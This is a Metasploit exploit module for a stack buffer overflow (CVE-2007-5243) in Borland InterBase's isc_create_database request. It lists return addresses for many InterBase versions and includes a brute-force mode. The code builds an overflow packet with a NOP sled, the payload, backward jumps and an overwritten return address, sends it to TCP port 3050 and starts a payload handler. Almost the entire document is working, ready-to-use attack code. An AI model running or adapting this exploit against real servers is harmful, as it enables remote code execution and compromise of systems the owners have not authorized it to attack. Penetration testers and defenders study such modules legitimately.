Borland InterBase isc_create_database() Buffer Overflow

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::Tcp  
include Msf::Exploit::Remote::BruteTargets  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Borland InterBase isc_create_database() Buffer Overflow',  
'Description' => %q{  
This module exploits a stack overflow in Borland InterBase  
by sending a specially crafted create request.  
},  
'Version' => '$Revision$',  
'Author' =>  
[  
'ramon',  
'Adriano Lima <[email protected]>',  
],  
'Arch' => ARCH_X86,  
'Platform' => 'win',  
'References' =>  
[  
[ 'CVE', '2007-5243' ],  
[ 'OSVDB', '38606' ],  
[ 'BID', '25917' ],  
[ 'URL', 'http://www.risesecurity.org/advisories/RISE-2007002.txt' ],  
],  
'Privileged' => true,  
'License' => MSF_LICENSE,  
'Payload' =>  
{  
'Space' => 512,  
'BadChars' => "\x00\x2f\x3a\x40\x5c",  
'StackAdjustment' => -3500,  
},  
'Targets' =>  
[  
[ 'Brute Force', { } ],  
# 0x00403d4b pop esi; pop ebp; ret  
[  
'Borland InterBase WI-V8.1.0.257',  
{ 'Length' => [ 2116, 2120 ], 'Ret' => 0x00403d4b }  
],  
# 0x00403d4d pop esi; pop ebp; ret  
[  
'Borland InterBase WI-V8.0.0.123',  
{ 'Length' => [ 2116, 2120 ], 'Ret' => 0x00403d4d }  
],  
# 0x00403a5d pop esi; pop ebp; ret  
[  
'Borland InterBase WI-V7.5.0.129 WI-V7.5.1.80',  
{ 'Length' => [ 2116, 2120 ], 'Ret' => 0x00403a5d }  
],  
# 0x004038fd pop esi; pop ebp; ret  
[  
'Borland InterBase WI-V7.0.1.1',  
{ 'Length' => [ 2116, 2120 ], 'Ret' => 0x004038fd }  
],  
# 0x0040390d pop esi; pop ebp; ret  
[  
'Borland InterBase WI-V6.5.0.28',  
{ 'Length' => [ 1332, 1336 ], 'Ret' => 0x0040390d }  
],  
# 0x00403901 pop esi; pop ebp; ret  
[  
'Borland InterBase WI-V6.0.1.6',  
{ 'Length' => [ 1332, 1336 ], 'Ret' => 0x00403901 }  
],  
# 0x004038b1 pop esi; pop ebp; ret  
[  
'Borland InterBase WI-V6.0.0.627 WI-V6.0.1.0 WI-O6.0.1.6 WI-O6.0.2.0',  
{ 'Length' => [ 1332, 1336 ], 'Ret' => 0x004038b1 }  
],  
# 0x00404a10 pop esi; pop ebp; ret  
[  
'Borland InterBase WI-V5.5.0.742',  
{ 'Length' => [ 1432, 1436 ], 'Ret' => 0x00404a10 }  
],  
# 0x00404a0e pop esi; pop ebp; ret  
[  
'Borland InterBase WI-V5.1.1.680',  
{ 'Length' => [ 1336, 1340 ], 'Ret' => 0x00404a0e }  
],  
# Debug  
[  
'Debug',  
{ 'Length' => [ 1336 ], 'Ret' => 0xaabbccdd }  
],  
],  
'DefaultTarget' => 0  
))  
  
register_options(  
[  
Opt::RPORT(3050)  
],  
self.class  
)  
  
end  
  
def exploit_target(target)  
  
target['Length'].each do |length|  
  
connect  
  
# Create database  
op_create = 20  
  
remainder = length.remainder(4)  
padding = 0  
  
if remainder > 0  
padding = (4 - remainder)  
end  
  
buf = ''  
  
# Operation/packet type  
buf << [op_create].pack('N')  
  
# Id  
buf << [0].pack('N')  
  
# Length  
buf << [length].pack('N')  
  
# Nop block  
buf << make_nops(length - payload.encoded.length - 13)  
  
# Payload  
buf << payload.encoded  
  
# Jump back into the nop block  
buf << "\xe9" + [-1028].pack('V')  
  
# Jump back  
buf << "\xeb" + [-7].pack('c')  
  
# Random alpha data  
buf << rand_text_alpha(2)  
  
# Target  
buf << [target.ret].pack('V')  
  
# Padding  
buf << "\x00" * padding  
  
# Database parameter block  
  
# Length  
buf << [1024].pack('N')  
  
# Random alpha data  
buf << rand_text_alpha(1024)  
  
sock.put(buf)  
  
sleep(4)  
  
handler  
  
end  
  
end  
  
end  
`